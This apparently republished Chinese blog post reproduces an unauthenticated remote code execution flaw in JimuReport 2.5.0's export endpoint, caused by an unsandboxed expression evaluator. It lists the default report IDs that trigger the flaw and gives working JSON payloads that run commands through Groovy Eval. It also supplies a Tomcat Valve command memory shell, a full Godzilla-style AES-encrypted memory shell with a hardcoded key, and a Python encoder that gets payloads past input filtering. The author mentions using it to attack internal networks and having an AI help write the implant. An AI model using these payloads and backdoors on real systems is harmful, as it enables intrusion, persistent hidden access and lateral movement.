jimu报表rce漏洞

作者:Cloud Security lab 发布:2026-09-03 11:20 收录:2026-09-16 08:30 1 次阅读 约 1856 字
摘要:几天前看到某步、某亭陆续发了复现文章,然后顺着他们发的文章参考链接找到了github的issue,issue写
推荐理由:本文涵盖「JimuReport」、「RCE」、「Groovy」等多个主题,重点关注 JimuReport。
几天前看到某步、某亭陆续发了复现文章,然后顺着他们发的文章参考链接找到了github的issue,issue写的很清楚,所以复现的话还是比较简单的。记录下过程吧。

一、环境搭建

https://codeload.github.com/jeecgboot/jimureport/zip/refs/tags/v2.5.0

添加mvn groovy的依赖,例如

<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy</artifactId>
    <version>3.0.9</version>
</dependency>

下载代码解压。拖进ide,docker 拉起mysql、redis 导入sql文件后到JimuReportApplication.java运行项目即可。官方下载的2.5.0的源代码demo pom.xml是jdk17

我的是arm的 所以我拉的docker pull arm64v8/mysql:8

docker run -d --name jmr-mysql -e MYSQL_ROOT_PASSWORD=root -e  MYSQL_DATABASE=jimureport -p 3306:3306 5e7e005a680e
docker run -d --name jmr-redis -p 6379:6379 redis:7
allen@MacBookPro  ~/Documents/source_code/jeecg/ceshi/JimuReport/jimureport-example/db   master ±  pwd
/Users/allen/Documents/source_code/jeecg/ceshi/JimuReport/jimureport-example/db
 allen@MacBookPro  ~/Documents/source_code/jeecg/ceshi/JimuReport/jimureport-example/db   master ±  docker cp ./jimureport.mysql5.7.create.sql jmr-mysql:/tmp/

 allen@MacBookPro  ~/Documents/source_code/jeecg/ceshi/JimuReport/jimureport-example/db   master ±  docker exec -it jmr-mysql bash
bash-5.1# mysql -uroot -proot
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 294
Server version: 8.4.11 MySQL Community Server - GPL

Copyright (c) 2000, 2026, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
 use jimureport;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> source /tmp/jimureport.mysql5.7.create.sql;

执行mvn clean package

mvn依赖安装好后即可,不用管这个报错。运行demo项目即可。

看到如下登陆页面证明环境部署成功。输入admin/123456即可

二、漏洞原理

1、jmreport/auto/export 未授权访问

2、ExpressUtil.a()未沙箱化

大概的sink过程如下

JimuReportAutoController.a() → autoExport() → autoAsyncTasks.a() → exportMore() → show() → getDataById() → getBaseSql() → ExpressUtil.a() → RCE,重点关注source入口和getBaseSql即可,中间的过程都是业务逻辑,导出、渲染、组装数组啥的

虽然这个是一个前台rce,但是也是有前提条件的,就是必须要知道报表的id,这里的id还不是说任意reportid就行,这个reportid得配置了数据库查询sql才可以调用getBaseSql(),如果没有SQL的报表就不会走到表达式求值代码就不会解析=开头的表达式了。看了下如果是默认执行了积木的sql脚本的话,如下id可触发漏洞

592957394477469696
1338744112815411200
537521675550674944
590432931076722688
590831722099462144
590835562513256448
1338769064067076098
b35e8d615b4e408e49dbf36805d3641c
993379996736724992
1339859143477039104
891612623430320128
53c82a76f837d5661dceec7d93afafec
1082891594221256704

具体可进入数据库查看 jimureport.jumu_report_db 然后找db_dyn_sql的值不为null的且db_type为0的行。然后对应的jimu_report_id即是漏洞利用时可触发的id值


然后直接全局搜索漏洞端点export


这里可以看到注解,JimuReportAutoController控制器下的export接口为无需鉴权的






ide没有把getBaseSql方法反编译完整,用jadx看下


最终会把paramJson也就是用户发送的jsonbody中的数据代入sql查询


然后getBaseSql中调用了ExpressUtil.a



判断参数是否以=开头如果是则交给aviator执行表达式

ExpressUtil.a 未启用沙箱(没有禁用 Use / Module / StaticMethods)所以就可以在这个阶段触发rce了

三、漏洞利用

平平无奇,弹个计算器

{                                                                             
    "reportParams": [{                                                          
      "id""592957394477469696",                                               
      "params": {                                                               
        "x""=use groovy.util.Eval;Eval.me('[\"/usr/bin/open\",\"-a\",\"Calculator\"].execute()')"               
      },                                                                        
      "exportType""pdf"                                                       
    }]                                                                          
  }


因为用Eval.me改执行命令无回显,用http或dns外带太鸡肋。所以可以通过throw抛RuntimeException异常实现命令回显。

{
    "reportParams": [
      {
        "id""891612623430320128",
        "params": {
          "sex""=use groovy.util.Eval;Eval.me('throw new RuntimeException(new ProcessBuilder(\"id\").start().text)')"
        },
        "exportType""pdf"
      }
    ]
  }


读项目默认的4603行的sql脚本也没问题。还不够优雅。

试一下

def r=org.springframework.web.context.request.RequestContextHolder.getRequestAttributes().getResponse()
r.setStatus(200)
r.setContentType("text/plain;charset=UTF-8")
r.getWriter().print("id".execute().text)
r.getWriter().flush()



你奶奶滴,积木的表达式解析=把groovy里面的=也给吞掉了。

也行吧,直接base64解码

new String(java.util.Base64.getDecoder().decode())


Allright,搞个cmd内存马试试

这个内存马只能打tomcat,因为要注入value,value的话是tomcat容器架构的特性,相对来说应该更隐蔽些?数据传输先到它才到servlet吧。

//memshell_cmd.groovy
import org.springframework.web.context.request.RequestContextHolder
def sc=RequestContextHolder.currentRequestAttributes().getRequest().getServletContext()
def ctxField=sc.getClass().getDeclaredField("context")
ctxField.setAccessible(true)
def appCtx=ctxField.get(sc)
def stdCtxField=appCtx.getClass().getDeclaredField("context")
stdCtxField.setAccessible(true)
def standardCtx=stdCtxField.get(appCtx)
def pipeline=standardCtx.getPipeline()
def nextValve=null
def valve=[invoke:{req,res->def p=req.getParameter("cmd");if(p){def r=res.getResponse();r.setContentType("text/plain;charset=UTF-8");r.getWriter().println(new String(java.lang.Runtime.getRuntime().exec(p.split(" ")).getInputStream().readAllBytes()));r.getWriter().flush()}else{if(nextValve!=null){nextValve.invoke(req,res)}}},getNext:{->nextValve},setNext:{v->nextValve=v},backgroundProcess:{->},isAsyncSupported:{->false}] as org.apache.catalina.Valve
pipeline.addValve(valve)
throw new RuntimeException("******memshell was successful injected******")


应该是0x20..空格相关的问题,具体是啥导致的就没深入分析了,解决办法如下

那就再ascii一下就好了new String(java.util.Base64.getDecoder().decode(new String(new byte[]{}))

直接用 python3 gen.py memshell_cmd.groovy即可。

import base64, sys

with open(sys.argv[1], 'rb'as f:
    b64 = base64.b64encode(f.read()).decode()
    print (b64)

b64_bytes = list(b64.encode())

arr = "new byte[]{" + ",".join(str(b) for b in b64_bytes) + "}"

print(f"=use groovy.util.Eval;Eval.me('groovy.util.Eval.me(new String(java.util.Base64.getDecoder().decode(new String({arr}))))')")


访问🐎子试试


看下能不能搞个哥斯拉内存马,脚本小子有啥能耐。掏出我的中转站和cc

直接参考Godzilla的内存马逻辑,改写tomcat value内存注入

//memshell_godzilla.groovy
import org.springframework.web.context.request.RequestContextHolder
import javax.crypto.Cipher
import javax.crypto.spec.SecretKeySpec
import java.security.MessageDigest as MD
import java.lang.invoke.MethodHandles
import javassist.ClassPool

def sc=RequestContextHolder.currentRequestAttributes().getRequest().getServletContext()
def f=sc.getClass().getDeclaredField("context");f.setAccessible(true)
def a=f.get(sc)
def g=a.getClass().getDeclaredField("context");g.setAccessible(true)
def s=g.get(a)
def pl=s.getPipeline()
def nx=null

def key="3c6e0b8a9c15224a"
def pa="pass"
def mh=new java.math.BigInteger(1,MD.getInstance("MD5").digest((pa+key).getBytes("UTF-8"))).toString(16).toUpperCase()

def aes={byte[] b,boolean e->def c=Cipher.getInstance("AES");c.init(e?1:2,new SecretKeySpec(key.getBytes("UTF-8"),"AES"));c.doFinal(b)}
def b64d={String str->java.util.Base64.getDecoder().decode(str)}
def b64e={byte[] b->java.util.Base64.getEncoder().encodeToString(b)}
def pc=null
def lk=MethodHandles.lookup()

def v=[invoke:{r,rs->
 def val=r.getParameter(pa)
 if(val!=null){
  def R=rs.getResponse()
  try{
   def data=aes(b64d(val),false)
   if(data!=null&&data.length>0){
    if(pc==null){
     // 首次请求:GZIP 解压 class 字节码
     if(data.length>1&&data[0]==(byte)0x1F&&data[1]==(byte)0x8B){
      def gis=new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(data))
      data=gis.readAllBytes()
      gis.close()
     }
     // javassist 改包名为默认包
     def cp=ClassPool.getDefault()
     def ct=cp.makeClass(new java.io.ByteArrayInputStream(data))
     ct.setName("P"+System.currentTimeMillis())
     def cb=ct.toBytecode()
     ct.detach()
     pc=lk.defineClass(cb)
    }else{
     // 后续请求:不解压,payload class 内部自己解压
     def O=new java.io.ByteArrayOutputStream()
     def F=pc.newInstance()
     F.equals(O)
     F.equals(r)
     F.equals(data)
     F.toString()
     if(O.size()>0){
      def pw=R.getWriter()
      pw.write(mh.substring(0,16))
      pw.write(b64e(aes(O.toByteArray(),true)))
      pw.write(mh.substring(16))
      pw.flush();pw.close()
     }
    }
   }
  }catch(Exception ex){try{R.setContentType("text/plain;charset=UTF-8");R.getWriter().println("err:"+ex.getMessage());R.getWriter().flush()}catch(Exception ignored){}}
 }else{if(nx!=null)nx.invoke(r,rs)}
},getNext:{->nx},setNext:{v->nx=v},backgroundProcess:{->},isAsyncSupported:{->false}] as org.apache.catalina.Valve

pl.addValve(v)
throw new RuntimeException("******Godzilla memshell was successful injected******")


爽!!!!!!!!!!!


直接JAVA_AES_BASE64即可愉快的打内网了


到这里就结束啦,漏洞利用还是挺简单的不复杂,内存注入逻辑的我们直接面向claude开发即可。

然后就是哥斯拉内存马groovy代码时遇到高版本jdk的各种坑(交给AI即可)

MethodHandles.Lookup.defineClass包名限制的问题用 javassist 把 payload 类名改成默认包绕过包名限制。


转载声明:本文转载自原发布平台 (作者:Cloud Security lab), 原文标题《jimu报表rce漏洞》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。